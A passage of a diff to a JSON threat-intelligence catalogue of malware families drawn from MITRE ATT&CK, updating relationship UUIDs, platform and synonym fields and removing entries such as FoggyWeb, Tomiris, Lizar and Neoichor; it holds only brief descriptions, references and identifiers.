"3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30411,14 +29599,20 @@ "description": "[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)", "meta": { "external_id": "S0319", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0319", "https://thehackernews.com/2016/05/android-kernal-exploit.html" + ], + "synonyms": [ + "Allwinner" ] }, "related": [ { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31909,13 +31103,10 @@ ], "refs": [ "https://attack.mitre.org/software/S0147", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://www.secureworks.com/research/threat-profiles/iron-tilden" + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" ], "synonyms": [ - "Pteranodon", - "Pterodo" + "Pteranodon" ] }, "related": [ @@ -31947,20 +31138,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -31968,20 +31145,6 @@ ], "type": "uses" }, - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -31996,13 +31159,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -32031,13 +31187,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -32317,20 +31466,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -32339,7 +31474,7 @@ "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32352,6 +31487,27 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -32360,14 +31516,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32395,7 +31544,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32717,21 +31873,42 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33108,9 +32285,15 @@ "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { "external_id": "S0155", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0155", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "synonyms": [ + "WINDSHIELD" ] }, "related": [ @@ -33181,21 +32364,7 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33208,6 +32377,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -33229,6 +32405,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -33236,6 +32419,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -33244,7 +32434,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33264,13 +32454,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -33286,7 +32469,7 @@ "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33537,13 +32720,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "425771c5-48b4-4ecd-9f95-74ed3fc9da59", @@ -34533,173 +33709,6 @@ "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26", "value": "RemoteCMD - S0166" }, - { - "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)", - "meta": { - "external_id": "S0661", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0661", - "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/" - ], - "synonyms": [ - "FoggyWeb" - ] - }, - "related": [ - { - "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "72911fe3-f085-40f7-b4f2-f25a4221fe44", - "value": "FoggyWeb - S0661" - }, { "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", "meta": { @@ -34853,79 +33862,6 @@ "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458", "value": "Matryoshka - S0167" }, - { - "description": "[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)", - "meta": { - "external_id": "S0671", - "refs": [ - "https://attack.mitre.org/software/S0671", - "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/" - ], - "synonyms": [ - "Tomiris" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "327b3a25-9e60-4431-b3b6-93b9c64eacbc", - "value": "Tomiris - S0671" - }, { "description": "[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", "meta": { @@ -35313,183 +34249,6 @@ "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4", "value": "Gazer - S0168" }, - { - "description": "[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)", - "meta": { - "external_id": "S0681", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0681", - "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", - "https://geminiadvisory.io/fin7-ransomware-bastion-secure/", - "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/" - ], - "synonyms": [ - "Lizar", - "Tirion" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "f74a5069-015d-4404-83ad-5ca01056c0dc", - "value": "Lizar - S0681" - }, { "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "meta": { @@ -35632,103 +34391,6 @@ "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "value": "PUNCHBUGGY - S0196" }, - { - "description": "[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)", - "meta": { - "external_id": "S0691", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0691", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe" - ], - "synonyms": [ - "Neoichor" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "4d7bf2ac-f953-4907-b114-be44dc174d67", - "value": "Neoichor - S0691" - }, { "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", "meta": { @@ -36769,9 +35431,15 @@ "description": "[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)", "meta": { "external_id": "S0322", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/", "https://attack.mitre.org/software/S0322" + ], + "synonyms": [ + "HummingBad" ] }, "related": [ @@ -36783,7 +35451,7 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -36795,6 +35463,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4", @@ -36990,13 +35665,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", "tags": [ @@ -37005,7 +35673,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37025,13 +35707,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -37040,7 +35715,7 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37054,7 +35729,14 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37068,14 +35750,28 @@ "type": "uses" }, { - "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37115,7 +35811,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0522", - 